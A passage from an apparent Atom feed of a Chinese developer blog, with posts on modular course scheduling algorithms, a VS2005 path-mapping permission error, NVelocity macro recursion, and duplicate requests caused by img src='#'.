&lt;img src="http://www.cnblogs.com/netcorner/aggbug/2237107.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/netcorner/archive/2011/11/05/2237107.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/netcorner/archive/2011/11/02/2232478.html</id><title type="text">职高中专的模块化课程设计难点</title><summary type="text">前阵子在开发排课系统中，遇到了很多难点，一直排不出来，然后项目就一直死在那里了。最近抽了点时间想再拿出来弄弄，可难点依旧，现在遇到的最大问题就是他们的模块化课程的设计。一、相关定义描述1.模块化课程：指一个学期内通过一定周数内完成的若干个分阶段模块的课程。2.模块化课程授课方式：模块化课程通常会有一个实训教室和最多三个教师授课，其中一个是主任老师，其余1-2位是辅助老师，也可以没有辅助老师，但是必须有主任课老师。3.模块化课程冲突：教师同时上两门课，实训场地只能一个班级上或者是指定几个班级上。4.排课流程：1.名单录入（老师、教室、课程、班级）-&amp;gt;2.1排课特征录入（老师、教师） -&amp;g</summary><published>2011-11-02T00:45:00Z</published><updated>2011-11-02T00:45:00Z</updated><author><name>netcorner</name><uri>http://www.cnblogs.com/netcorner/</uri></author><link rel="alternate" href="http://www.cnblogs.com/netcorner/archive/2011/11/02/2232478.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/netcorner/archive/2011/11/02/2232478.html"/><content type="html">前阵子在开发排课系统中，遇到了很多难点，一直排不出来，然后项目就一直死在那里了。最近抽了点时间想再拿出来弄弄，可难点依旧，现在遇到的最大问题就是他们的模块化课程的设计。&lt;br /&gt;&#xD;
&lt;br /&gt;&#xD;
&lt;p&gt;&lt;strong&gt;&lt;span style="font-family: 宋体;"&gt;一、相关定义描述&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-family: 宋体;"&gt;模块化课程：&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-family: 宋体;"&gt;指一个学期内通过一定周数内完成的若干个分阶段模块的课程。&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-family: 宋体;"&gt;模块化课程授课方式：&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-family: 宋体;"&gt;模块化课程通常会有一个实训教室和最多三个教师授课，其中一个是主任老师，其余&lt;/span&gt;1-2&lt;span style="font-family: 宋体;"&gt;位是辅助老师，也可以没有辅助老师，但是必须有主任课老师。&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-family: 宋体;"&gt;模块化课程冲突：&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-family: 宋体;"&gt;教师同时上两门课，实训场地只能一个班级上或者是指定几个班级上。&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;strong&gt;4.&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-family: 宋体;"&gt;排课流程：&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;p style="text-align: left;" align="left"&gt;&lt;span style="font-family: 新宋体; font-size: 12pt;"&gt;1.&lt;/span&gt;&lt;span style="font-family: 新宋体; font-size: 12pt;"&gt;名单录入（老师、教室、课程、班级）-&amp;gt;2.1排课特征录入（老师、教师）&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p style="text-align: left;" align="left"&gt;&lt;span style="font-family: 新宋体; font-size: 12pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;gt;2.2&lt;/span&gt;&lt;span style="font-family: 新宋体; font-size: 12pt;"&gt;排课时间限制录入（老师、教室、课程、班级、模块课程）&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p style="margin: 0cm 0cm 0pt 168pt; text-align: left; text-indent: 21pt;" align="left"&gt;&lt;span style="font-family: 新宋体; font-size: 12pt;"&gt;-&amp;gt;3.&lt;/span&gt;&lt;span style="font-family: 新宋体; font-size: 12pt;"&gt;安排教学计划（根据班级安排课程、老师、教室）&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;br /&gt;&#xD;
&lt;br /&gt;&#xD;
&lt;p&gt;&lt;strong&gt;&lt;span style="font-family: 宋体;"&gt;注：下载模块课程请点击&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-family: 宋体;"&gt;&amp;#8220;&lt;a href="http://files.cnblogs.com/netcorner/模块课程示例1.rar"&gt;模块课程示例&lt;/a&gt;&amp;#8221;，该文件夹中存放的是模块课程的班级课表和教师课表示例。&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;br /&gt;&#xD;
&lt;br /&gt;&#xD;
&lt;p&gt;&lt;strong&gt;&lt;span style="font-family: 宋体;"&gt;二、问题描述及现有解决思路&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;span style="font-family: 宋体;"&gt;假如有模块课程&lt;/span&gt;A,B,C,D,E,F,&lt;span style="font-family: 宋体;"&gt;一学期共有&lt;/span&gt;18&lt;span style="font-family: 宋体;"&gt;周，一周上两门模块课程&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;A&lt;span style="font-family: 宋体;"&gt;课程完成教学周期为：&lt;/span&gt;6&lt;span style="font-family: 宋体;"&gt;周，每周上课节数为&lt;/span&gt;12&lt;span style="font-family: 宋体;"&gt;节&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;B&lt;span style="font-family: 宋体;"&gt;课程完成教学周期为：&lt;/span&gt;6&lt;span style="font-family: 宋体;"&gt;周，每周上课节数为&lt;/span&gt;12&lt;span style="font-family: 宋体;"&gt;节&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;C&lt;span style="font-family: 宋体;"&gt;课程完成教学周期为：&lt;/span&gt;2&lt;span style="font-family: 宋体;"&gt;周，每周上课节数为&lt;/span&gt;12&lt;span style="font-family: 宋体;"&gt;节&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;D&lt;span style="font-family: 宋体;"&gt;课程完成教学周期为：&lt;/span&gt;8&lt;span style="font-family: 宋体;"&gt;周，每周上课节数为&lt;/span&gt;12&lt;span style="font-family: 宋体;"&gt;节&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;E&lt;span style="font-family: 宋体;"&gt;课程完成教学周期为：&lt;/span&gt;8&lt;span style="font-family: 宋体;"&gt;周，每周上课节数为&lt;/span&gt;12&lt;span style="font-family: 宋体;"&gt;节&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;F&lt;span style="font-family: 宋体;"&gt;课程完成教学周期为：&lt;/span&gt;6&lt;span style="font-family: 宋体;"&gt;周，每周上课节数为&lt;/span&gt;12&lt;span style="font-family: 宋体;"&gt;节&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;font face="宋体"&gt;&lt;br /&gt;&#xD;
&lt;br /&gt;&#xD;
&lt;/font&gt;&#xD;
&lt;p style="margin: 0cm 0cm 0pt;" &gt;&lt;span style='font-family: 宋体; mso-ascii-font-family: "Times New Roman"; mso-hansi-font-family: "Times New Roman";'&gt;通过事先设定的名单和教学计划设得再根据现有的算法得到课表,"&lt;a href="http://files.cnblogs.com/netcorner/课表.rar"&gt;点击下载&lt;/a&gt;"&lt;br /&gt;&#xD;
&lt;br /&gt;&#xD;
&lt;/span&gt;&lt;/p&gt;&#xD;
&#xD;
&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;strong&gt;&lt;span style="font-family: 宋体;"&gt;拆分周次算法示意：&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-family: 宋体;"&gt;以下数字代表的是模块化课程的周数&lt;/span&gt;&lt;br /&gt;&#xD;
  &lt;br /&gt;&#xD;
&lt;/p&gt;&#xD;
&lt;p&gt;&lt;span style="font-family: 宋体;"&gt;示例&lt;/span&gt;1&lt;span style="font-family: 宋体;"&gt;：&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;2 6 8 8 6 6 &lt;/p&gt;&#xD;
&lt;p&gt;8 8(2 6 6 6) &lt;span style="font-family: 宋体;"&gt;先求一组中相同课时数的课程&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;2 6-2(4 6 6) &lt;span style="font-family: 宋体;"&gt;取最小值和最大值拆分&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;4 6-2 6-2 &lt;span style="font-family: 宋体;"&gt;剩下三个需两两拆分&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;4 4 &lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;span style="font-family: 宋体;"&gt;示例&lt;/span&gt;2&lt;span style="font-family: 宋体;"&gt;：&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;5 6 7 8 10&lt;/p&gt;&#xD;
&lt;p&gt;5 10-5 (6,7,8,5)&lt;/p&gt;&#xD;
&lt;p&gt;5 8-5 (6,7,3)&lt;/p&gt;&#xD;
&lt;p&gt;3 6-1 7-2&lt;/p&gt;&#xD;
&lt;p&gt;5 5&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;span style="font-family: 宋体;"&gt;示例&lt;/span&gt;3&lt;span style="font-family: 宋体;"&gt;：&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;3 3 4 4 5 5 12&amp;nbsp;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;3 3 (4 4 5 5 12)&lt;/p&gt;&#xD;
&lt;p&gt;4 12-4 (4 5 5 8)&lt;/p&gt;&#xD;
&lt;p&gt;4 8-4 (5 5 4)&lt;/p&gt;&#xD;
&lt;p&gt;4 5-2 5-2&lt;/p&gt;&#xD;
&lt;p&gt;3 3&lt;/p&gt;&#xD;
&lt;p&gt;&lt;br /&gt;&#xD;
&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p style="text-indent: 21pt;"&gt;&lt;strong&gt;&lt;span style="font-family: 宋体;"&gt;如果不检测老师和教室冲突，那么上述算法正好得到完成拆分周次。但现实中就不得不再去检测老师冲突和实训场地冲突，那么就势必就得把拆分好的课程再回溯拆分了，上例课表中，若：&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-family: 宋体;"&gt;E&lt;/span&gt;&lt;span style="font-family: 宋体;"&gt;课程在1-8周存在冲突，若第7周中有冲突（该课程的老师在其它处已经上课），那么就必须再重新安排到另外周次了，此时问题就出现了，拆分比想像中的要难很多，如果回溯将第二次以后课调换，使其后面正好安排没冲突，那么问题也就不会难了，可关键是如果和后面调换课程，又存在了冲突怎么办？是不是得再重新拆分周次了？&lt;/span&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;font size="3" face="宋体"&gt;&#xD;
&lt;/font&gt;&lt;/p&gt;&#xD;
&lt;p style="margin: 0cm 0cm 0pt;" &gt;&lt;span style='font-family: 宋体; mso-ascii-font-family: "Times New Roman"; mso-hansi-font-family: "Times New Roman";'&gt;上次示例是排课一种，算法上感觉已经很难实现了，事实上在实际中又会遇到其它情况，比如：&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;font size="3" face="宋体"&gt;&lt;/font&gt;&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p style="margin: 0cm 0cm 0pt;" &gt;&lt;span lang="EN-US"&gt;&lt;font face="Times New Roman"&gt;A&lt;/font&gt;&lt;/span&gt;&lt;span style='font-family: 宋体; mso-ascii-font-family: "Times New Roman"; mso-hansi-font-family: "Times New Roman";'&gt;课程完成教学周期为：&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;font face="Times New Roman"&gt;6&lt;/font&gt;&lt;/span&gt;&lt;span style='font-family: 宋体; mso-ascii-font-family: "Times New Roman"; mso-hansi-font-family: "Times New Roman";'&gt;周，每周上课节数为&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;font face="Times New Roman"&gt;24&lt;/font&gt;&lt;/span&gt;&lt;span style='font-family: 宋体; mso-ascii-font-family: "Times New Roman"; mso-hansi-font-family: "Times New Roman";'&gt;节&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;font size="3" face="宋体"&gt;&#xD;
&lt;/font&gt;&lt;/p&gt;&#xD;
&lt;p style="margin: 0cm 0cm 0pt;" &gt;&lt;span lang="EN-US"&gt;&lt;font face="Times New Roman"&gt;B&lt;/font&gt;&lt;/span&gt;&lt;span style='font-family: 宋体; mso-ascii-font-family: "Times New Roman"; mso-hansi-font-family: "Times New Roman";'&gt;课程完成教学周期为：&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;font face="Times New Roman"&gt;6&lt;/font&gt;&lt;/span&gt;&lt;span style='font-family: 宋体; mso-ascii-font-family: "Times New Roman"; mso-hansi-font-family: "Times New Roman";'&gt;周，每周上课节数为&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;font face="Times New Roman"&gt;12&lt;/font&gt;&lt;/span&gt;&lt;span style='font-family: 宋体; mso-ascii-font-family: "Times New Roman"; mso-hansi-font-family: "Times New Roman";'&gt;节&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;font size="3" face="宋体"&gt;&#xD;
&lt;/font&gt;&lt;/p&gt;&#xD;
&lt;p style="margin: 0cm 0cm 0pt;" &gt;&lt;span lang="EN-US"&gt;&lt;font face="Times New Roman"&gt;C&lt;/font&gt;&lt;/span&gt;&lt;span style='font-family: 宋体; mso-ascii-font-family: "Times New Roman"; mso-hansi-font-family: "Times New Roman";'&gt;课程完成教学周期为：&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;font face="Times New Roman"&gt;2&lt;/font&gt;&lt;/span&gt;&lt;span style='font-family: 宋体; mso-ascii-font-family: "Times New Roman"; mso-hansi-font-family: "Times New Roman";'&gt;周，每周上课节数为&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;font face="Times New Roman"&gt;12&lt;/font&gt;&lt;/span&gt;&lt;span style='font-family: 宋体; mso-ascii-font-family: "Times New Roman"; mso-hansi-font-family: "Times New Roman";'&gt;节&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;font size="3" face="宋体"&gt;&#xD;
&lt;/font&gt;&lt;/p&gt;&#xD;
&lt;p style="margin: 0cm 0cm 0pt;" &gt;&lt;span lang="EN-US"&gt;&lt;font face="Times New Roman"&gt;D&lt;/font&gt;&lt;/span&gt;&lt;span style='font-family: 宋体; mso-ascii-font-family: "Times New Roman"; mso-hansi-font-family: "Times New Roman";'&gt;课程完成教学周期为：&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;font face="Times New Roman"&gt;8&lt;/font&gt;&lt;/span&gt;&lt;span style='font-family: 宋体; mso-ascii-font-family: "Times New Roman"; mso-hansi-font-family: "Times New Roman";'&gt;周，每周上课节数为&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;font face="Times New Roman"&gt;12&lt;/font&gt;&lt;/span&gt;&lt;span style='font-family: 宋体; mso-ascii-font-family: "Times New Roman"; mso-hansi-font-family: "Times New Roman";'&gt;节&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;font size="3" face="宋体"&gt;&#xD;
&lt;/font&gt;&lt;/p&gt;&#xD;
&lt;p style="margin: 0cm 0cm 0pt;" &gt;&lt;span lang="EN-US"&gt;&lt;font face="Times New Roman"&gt;E&lt;/font&gt;&lt;/span&gt;&lt;span style='font-family: 宋体; mso-ascii-font-family: "Times New Roman"; mso-hansi-font-family: "Times New Roman";'&gt;课程完成教学周期为：&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;font face="Times New Roman"&gt;8&lt;/font&gt;&lt;/span&gt;&lt;span style='font-family: 宋体; mso-ascii-font-family: "Times New Roman"; mso-hansi-font-family: "Times New Roman";'&gt;周，每周上课节数为&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;font face="Times New Roman"&gt;12&lt;/font&gt;&lt;/span&gt;&lt;span style='font-family: 宋体; mso-ascii-font-family: "Times New Roman"; mso-hansi-font-family: "Times New Roman";'&gt;节&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;font size="3" face="宋体"&gt;&#xD;
&lt;/font&gt;&lt;/p&gt;&#xD;
&lt;p style="margin: 0cm 0cm 0pt;" &gt;&lt;span lang="EN-US"&gt;&lt;o:p&gt;&lt;font face="Times New Roman"&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;font size="3" face="宋体"&gt;&#xD;
&lt;/font&gt;&lt;/p&gt;&#xD;
&lt;p style="margin: 0cm 0cm 0pt;" &gt;&lt;span style='font-family: 宋体; mso-ascii-font-family: "Times New Roman"; mso-hansi-font-family: "Times New Roman";'&gt;以上&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;font face="Times New Roman"&gt;24&lt;/font&gt;&lt;/span&gt;&lt;span style='font-family: 宋体; mso-ascii-font-family: "Times New Roman"; mso-hansi-font-family: "Times New Roman";'&gt;节课的其实就是上两门模块课程一样&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;font size="3" face="宋体"&gt;&#xD;
&lt;/font&gt;&lt;/p&gt;&#xD;
&lt;p style="margin: 0cm 0cm 0pt;" &gt;&lt;span lang="EN-US"&gt;&lt;o:p&gt;&lt;font face="Times New Roman"&gt;&amp;nbsp;&lt;/font&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;font size="3" face="宋体"&gt;&#xD;
&lt;/font&gt;&lt;/p&gt;&#xD;
&lt;p style="margin: 0cm 0cm 0pt;" &gt;&lt;span style='font-family: 宋体; mso-ascii-font-family: "Times New Roman"; mso-hansi-font-family: "Times New Roman";'&gt;还有一种更复杂的情况：假如我一周要安排三门模块化课程的时候又怎么处理？问题感觉越来越复杂了！&lt;/span&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;font size="3" face="宋体"&gt;&#xD;
&lt;/font&gt;&lt;br /&gt;&#xD;
&lt;br /&gt;&#xD;
&lt;/p&gt;&#xD;
&#xD;
  &#xD;
 &lt;img src="http://www.cnblogs.com/netcorner/aggbug/2232478.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/netcorner/archive/2011/11/02/2232478.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/netcorner/archive/2010/07/07/1772996.html</id><title type="text">vs2005 未能映射路径“/”</title><summary type="text">未能映射路径&amp;#8220;/&amp;#8221;。 说明: 执行当前 Web 请求期间，出现未处理的异常。请检查堆栈跟踪信息，以了解有关该错误以及代码中导致错误的出处的详细信息。 异常详细信息: System.InvalidOperationException: 未能映射路径&amp;#8220;/&amp;#8221;。解决方法：并非Server.MapPath的问题，是权限问题。 问题原因：我使用的是win7系统，...</summary><published>2010-07-07T08:56:00Z</published><updated>2010-07-07T08:56:00Z</updated><author><name>netcorner</name><uri>http://www.cnblogs.com/netcorner/</uri></author><link rel="alternate" href="http://www.cnblogs.com/netcorner/archive/2010/07/07/1772996.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/netcorner/archive/2010/07/07/1772996.html"/><content type="html">&lt;div id="blog_text" &gt;&#xD;
&lt;p&gt;未能映射路径&amp;#8220;/&amp;#8221;。 &lt;br /&gt;说明: 执行当前 Web 请求期间，出现未处理的异常。请检查堆栈跟踪信息，以了解有关该错误以及代码中导致错误的出处的详细信息。 &lt;br /&gt;&lt;br /&gt;异常详细信息: System.InvalidOperationException: 未能映射路径&amp;#8220;/&amp;#8221;。&lt;/p&gt;&#xD;
&lt;p&gt;&lt;strong&gt;解决方法：&lt;br /&gt;&lt;/strong&gt;并非Server.MapPath的问题，是权限问题。 &lt;br /&gt;问题原因：我使用的是win7系统，在打开项目的时候，并非使用的是管理员身份。 &lt;br /&gt;解决方式：用管理员身份进入vs2005，为程序目录设置erveryone 的所有权限。---调试正常。&lt;/p&gt;&lt;/div&gt;&lt;img src="http://www.cnblogs.com/netcorner/aggbug/1772996.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/netcorner/archive/2010/07/07/1772996.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/netcorner/archive/2010/07/07/1772980.html</id><title type="text">NVelocity的宏使用</title><summary type="text">一、NVelocity使用参数示例： 1.建立宏#macro( test $range $arrayList )...#end2.调用宏#test([-9,-1] ["favorite", "color"])通过以上示例，你只需要一个为每一个需要传递的参数提供了名称的#macro指令，这些参数用空格进行分隔。如上例中#macro( test $range $arrayList )&amp;#8220;te...</summary><published>2010-07-07T08:47:00Z</published><updated>2010-07-07T08:47:00Z</updated><author><name>netcorner</name><uri>http://www.cnblogs.com/netcorner/</uri></author><link rel="alternate" href="http://www.cnblogs.com/netcorner/archive/2010/07/07/1772980.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/netcorner/archive/2010/07/07/1772980.html"/><content type="html">&lt;p&gt;一、NVelocity使用参数&lt;br /&gt;&amp;nbsp;示例： &lt;br /&gt;&amp;nbsp;&amp;nbsp;1.建立宏&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;#macro( test $range $arrayList )&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;...&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;#end&lt;br /&gt;&amp;nbsp;&amp;nbsp;2.调用宏&lt;br /&gt;&amp;nbsp;&amp;nbsp;#test([-9,-1] ["favorite", "color"])&lt;br /&gt;&amp;nbsp;通过以上示例，你只需要一个为每一个需要传递的参数提供了名称的#macro指令，这些参数用空格进行分隔。如上例中#macro( test $range $arrayList )&amp;#8220;test&amp;#8221;是宏名，$range $arrayList是参数。用"#"+宏名(参数1 参数2...)来调用宏。&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;二、NVelocity递归调用&lt;/p&gt;&#xD;
&lt;p&gt;嵌套，最简单的情况就是在NVelocity 中用到macro里调用另外一个macro，这是在实际代码开发中使用得最频繁的一种。递归，是一种特殊类型的嵌套，它是在NVelocity中的macro里调用自身，但这种情况并不太常见。&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;#macro( recurs $depth )&lt;br /&gt;&amp;nbsp;&amp;nbsp;进入第 $depth 层&amp;lt;br/&amp;gt;&lt;/p&gt;&#xD;
&lt;p&gt;#set( $depth = $depth - 1 )&lt;/p&gt;&#xD;
&lt;p&gt;#if ( $depth &amp;gt; 0 )&lt;/p&gt;&#xD;
&lt;p&gt;#recurs( $depth )&lt;/p&gt;&#xD;
&lt;p&gt;#end&lt;/p&gt;&#xD;
&lt;p&gt;#set( $depth = $depth + 1 )&lt;/p&gt;&#xD;
&lt;p&gt;进入第 $depth 层&amp;lt;br/&amp;gt;&lt;/p&gt;&#xD;
&lt;p&gt;#end&lt;br /&gt;&amp;nbsp;#recurs( 3 )&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;执行结果：&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;进入第 3 层&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;进入第 2 层&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;进入第 1 层&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;进入第 1 层&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;进入第 2 层&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;进入第 3 层&lt;br /&gt;&lt;strong&gt;&amp;nbsp;注：在递归调用时，注意通常不要把一个对象的属性传为&lt;strong&gt;参数&lt;/strong&gt;递归调用，上例中，如果$depth是一个对象的话，那么用#recurs( $depth.attribute)话，模板输出时候往往有问题，而且又查不出来，这里记录一下，忘以后不要出现这样的错误。究其原因，我想是由于是object类型，往往在调用时认不出对象的类型吧（暂时只能这样去理解了，没深层次去研究过）。&lt;/strong&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/netcorner/aggbug/1772980.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/netcorner/archive/2010/07/07/1772980.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/netcorner/archive/2010/06/23/1763367.html</id><title type="text">小心使用“#”</title><summary type="text">最近因为程序中要加日志模块，所以就想用切面方式(AOP)解决这个问题，然而遇到了头痛的问题，就是日志老写两次，也不知道哪里出错了，开始以为框架哪里有问题，调试了很多次都找不到原因。后来索性写了一个测试页面，发现在没有任何html标记的页面居然只写了一次日志，所以排除了程序上的问题，开始找页面的问题了。 页面一行行排查过来，最终发现了是一行&amp;#8220;&amp;lt;a href="#"&amp;gt;&amp;lt;i...</summary><published>2010-06-23T02:49:00Z</published><updated>2010-06-23T02:49:00Z</updated><author><name>netcorner</name><uri>http://www.cnblogs.com/netcorner/</uri></author><link rel="alternate" href="http://www.cnblogs.com/netcorner/archive/2010/06/23/1763367.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/netcorner/archive/2010/06/23/1763367.html"/><content type="html">&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 最近因为程序中要加日志模块，所以就想用切面方式(AOP)解决这个问题，然而遇到了头痛的问题，就是日志老写两次，也不知道哪里出错了，开始以为框架哪里有问题，调试了很多次都找不到原因。后来索性写了一个测试页面，发现在没有任何html标记的页面居然只写了一次日志，所以排除了程序上的问题，开始找页面的问题了。&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 页面一行行排查过来，最终发现了是一行&amp;#8220;&amp;lt;a href="#"&amp;gt;&amp;lt;img src="#" width="100" border="0" height="40" alt="#"/&amp;gt;&amp;lt;/a&amp;gt;&amp;#8221;出了问题，那么为什么这行会出现问题呢？&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; img标记的src属性规定插入的图像的url地址，也就是含路径的图像文件名。该属性值是和页面一起会向服务器有个请求，那么如果把src="#",页面就会再次请求当前页，导致页面执行两次。&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 也不知道当初为啥会把src的属性设为#，可能是空链接用惯了，也没多想。在使用img中的src属性，包括css中的url(background-image等属性)请求如果设为#值的话，都会再试请求当前页面。所以在使用&amp;#8220;#&amp;#8221;值，切忌当心再当心，造成不必要的浪费。&lt;img src="http://www.cnblogs.com/netcorner/aggbug/1763367.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/netcorner/archive/2010/06/23/1763367.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/netcorner/archive/2010/03/10/1682436.html</id><title type="text">用xml模块方式导出多种offcie文件</title><summary type="text">我们在开发网站时，有很大一部分人采用的是MVC模式，而V是代表视图，关于视图开发的语言，都有语法简单，开发迅速的特点，比如说velocity,jstl等等，而通常用这种语言写成的文件我们通常称其为模板。模板，从名字上可以得出，这是一种通用具有参照性的样板，所有的东西都是按照它的比例剪栽而成的。在采用MVC方式开发html页时，因为html是普通文本表示的，我们就会用如下形式表html代码 Code...</summary><published>2010-03-10T05:39:00Z</published><updated>2010-03-10T05:39:00Z</updated><author><name>netcorner</name><uri>http://www.cnblogs.com/netcorner/</uri></author><link rel="alternate" href="http://www.cnblogs.com/netcorner/archive/2010/03/10/1682436.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/netcorner/archive/2010/03/10/1682436.html"/><content type="html">&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 